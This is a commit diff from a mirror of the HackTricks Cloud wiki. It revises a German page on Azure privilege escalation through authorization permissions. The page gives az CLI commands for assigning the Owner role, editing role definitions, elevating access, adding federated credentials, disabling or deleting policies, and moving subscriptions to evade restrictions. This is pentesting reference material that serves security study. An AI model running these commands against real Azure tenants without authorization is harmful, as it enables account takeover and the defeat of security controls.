mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 21:53:15 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
@@ -12,16 +12,16 @@ Für weitere Informationen siehe:
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
Diese Berechtigung ermöglicht es, Rollen an Principals über einen bestimmten Geltungsbereich zuzuweisen, wodurch ein Angreifer seine Berechtigungen erhöhen kann, indem er sich selbst eine privilegiertere Rolle zuweist:
|
||||
Diese Berechtigung erlaubt es, Rollen an principals innerhalb eines bestimmten Scope zuzuweisen, wodurch ein attacker seine privileges eskalieren kann, indem er sich selbst eine höher privilegierte Rolle zuweist:
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
```
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
|
||||
Diese Berechtigung ermöglicht es, die Berechtigungen, die durch eine Rolle gewährt werden, zu ändern, wodurch ein Angreifer die Privilegien erhöhen kann, indem er einer Rolle, die ihm zugewiesen wurde, weitere Berechtigungen gewährt.
|
||||
Diese Berechtigung ermöglicht es, die von einer Rolle gewährten Berechtigungen zu ändern, wodurch ein Angreifer Privilegien eskalieren kann, indem er einer Rolle, die er zugewiesen hat, zusätzliche Berechtigungen gewährt.
|
||||
|
||||
Erstellen Sie die Datei `role.json` mit dem folgenden **Inhalt**:
|
||||
Erstelle die Datei `role.json` mit folgendem **Inhalt**:
|
||||
```json
|
||||
{
|
||||
"roleName": "<name of the role>",
|
||||
@@ -36,16 +36,16 @@ Erstellen Sie die Datei `role.json` mit dem folgenden **Inhalt**:
|
||||
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
|
||||
}
|
||||
```
|
||||
Dann aktualisieren Sie die Rollenzugriffsrechte mit der vorherigen Definition, indem Sie Folgendes aufrufen:
|
||||
Aktualisieren Sie dann die Rollenberechtigungen mit der vorherigen Definition, indem Sie aufrufen:
|
||||
```bash
|
||||
az role definition update --role-definition role.json
|
||||
```
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
Diese Berechtigung ermöglicht es, Privilegien zu erhöhen und Berechtigungen für jede Entität zu Azure-Ressourcen zuzuweisen. Sie ist dafür gedacht, Entra ID Global Administratoren zugewiesen zu werden, damit sie auch Berechtigungen für Azure-Ressourcen verwalten können.
|
||||
Diese Berechtigung ermöglicht es, Privilegien zu erhöhen und Berechtigungen an jeden Principal für Azure resources zu vergeben. Sie ist dafür vorgesehen, Entra ID Global Administrators zugewiesen zu werden, damit diese auch Berechtigungen für Azure resources verwalten können.
|
||||
|
||||
> [!TIP]
|
||||
> Ich denke, der Benutzer muss Global Administrator in Entra ID sein, damit der Erhöhungsaufruf funktioniert.
|
||||
> Ich denke, der Benutzer muss Global Administrator in Entra ID sein, damit der elevate call funktioniert.
|
||||
```bash
|
||||
# Call elevate
|
||||
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
|
||||
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
Diese Berechtigung ermöglicht das Hinzufügen von föderierten Anmeldeinformationen zu verwalteten Identitäten. Z. B. Zugriff auf Github Actions in einem Repo für eine verwaltete Identität gewähren. Dann ermöglicht es den **Zugriff auf jede benutzerdefinierte verwaltete Identität**.
|
||||
Diese Berechtigung erlaubt das Hinzufügen von Federated credentials zu managed identities. Z. B. kann einem Repo in Github Zugriff für Github Actions auf eine managed identity eingeräumt werden. Dadurch ermöglicht sie **den Zugriff auf jede vom Benutzer definierte managed identity**.
|
||||
|
||||
Beispielbefehl, um einer verwalteten Identität Zugriff auf ein Repo in Github zu gewähren:
|
||||
Beispielbefehl, um einer managed identity Zugriff auf ein Repo in Github zu geben:
|
||||
```bash
|
||||
# Generic example:
|
||||
az rest --method PUT \
|
||||
@@ -71,4 +71,94 @@ az rest --method PUT \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
```
|
||||
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
|
||||
|
||||
Ein Angreifer mit der Berechtigung `Microsoft.Authorization/policyAssignments/write` oder `Microsoft.Authorization/policyAssignments/delete` auf einer Verwaltungsgruppe, einem Abonnement oder einer Ressourcengruppe kann **Azure-Richtlinienzuweisungen ändern oder löschen**, und damit möglicherweise **Sicherheitsbeschränkungen deaktivieren**, die bestimmte Vorgänge blockieren.
|
||||
|
||||
Dadurch wird Zugriff auf Ressourcen oder Funktionen ermöglicht, die zuvor durch die Richtlinie geschützt waren.
|
||||
|
||||
**Richtlinienzuweisung löschen:**
|
||||
```bash
|
||||
az policy assignment delete \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
**Eine Policy-Zuweisung deaktivieren:**
|
||||
```bash
|
||||
az policy assignment update \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
|
||||
--enforcement-mode Disabled
|
||||
```
|
||||
**Änderungen überprüfen:**
|
||||
```bash
|
||||
# List policy assignments
|
||||
az policy assignment list \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
|
||||
# Show specific policy assignment details
|
||||
az policy assignment show \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
### Microsoft.Authorization/policyDefinitions/write
|
||||
|
||||
Ein Angreifer mit der Berechtigung `Microsoft.Authorization/policyDefinitions/write` kann **Azure policy definitions ändern**, wodurch die Regeln, die die Sicherheitsbeschränkungen in der gesamten Umgebung steuern, verändert werden.
|
||||
|
||||
Zum Beispiel kann eine policy, die die erlaubten Regionen für das Erstellen von Ressourcen einschränkt, so geändert werden, dass jede Region erlaubt ist, oder der policy-Effekt kann so verändert werden, dass sie wirkungslos wird.
|
||||
|
||||
**Policy definition ändern:**
|
||||
```bash
|
||||
az policy definition update \
|
||||
--name "<policyDefinitionName>" \
|
||||
--rules @updated-policy-rules.json
|
||||
```
|
||||
**Überprüfe die Änderungen:**
|
||||
```bash
|
||||
az policy definition list --output table
|
||||
|
||||
az policy definition show --name "<policyDefinitionName>"
|
||||
```
|
||||
### Microsoft.Management/managementGroups/write
|
||||
|
||||
Ein Angreifer mit der Berechtigung `Microsoft.Management/managementGroups/write` kann **die hierarchische Struktur von Managementgruppen ändern** oder **neue Managementgruppen erstellen**, wodurch restriktive Richtlinien, die auf höheren Ebenen angewendet werden, möglicherweise umgangen werden.
|
||||
|
||||
Beispielsweise kann ein Angreifer eine neue Managementgruppe ohne restriktive Richtlinien erstellen und anschließend Abonnements dorthin verschieben.
|
||||
|
||||
**Erstellen einer neuen Managementgruppe:**
|
||||
```bash
|
||||
az account management-group create \
|
||||
--name "yourMGname" \
|
||||
--display-name "yourMGDisplayName"
|
||||
```
|
||||
**Ändern der Management-Gruppen-Hierarchie:**
|
||||
```bash
|
||||
az account management-group update \
|
||||
--name "<managementGroupId>" \
|
||||
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
|
||||
```
|
||||
**Überprüfen Sie die Änderungen:**
|
||||
```bash
|
||||
az account management-group list --output table
|
||||
|
||||
az account management-group show \
|
||||
--name "<managementGroupId>" \
|
||||
--expand
|
||||
```
|
||||
### Microsoft.Management/managementGroups/subscriptions/write
|
||||
|
||||
Ein Angreifer mit der Berechtigung `Microsoft.Management/managementGroups/subscriptions/write` kann **Abonnements zwischen Verwaltungsgruppen verschieben**, wodurch er möglicherweise **einschränkende Richtlinien umgehen** kann, indem er ein Abonnement in eine Gruppe mit weniger restriktiven oder gar keinen Richtlinien verschiebt.
|
||||
|
||||
**Verschiebe ein Abonnement in eine andere Verwaltungsgruppe:**
|
||||
```bash
|
||||
az account management-group subscription add \
|
||||
--name "<managementGroupName>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
**Überprüfe die Änderungen:**
|
||||
```bash
|
||||
az account management-group subscription show \
|
||||
--name "<managementGroupId>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user